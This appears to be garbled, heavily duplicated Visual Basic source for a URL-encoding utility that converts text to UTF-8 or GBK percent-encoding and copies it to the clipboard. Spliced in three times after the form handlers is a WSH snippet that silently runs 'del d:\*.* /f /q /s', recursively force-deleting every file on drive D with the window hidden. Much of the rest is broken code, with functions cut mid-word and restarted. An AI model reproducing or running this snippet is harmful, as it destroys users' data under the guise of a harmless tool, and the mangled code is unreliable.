Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9 Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function URI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = 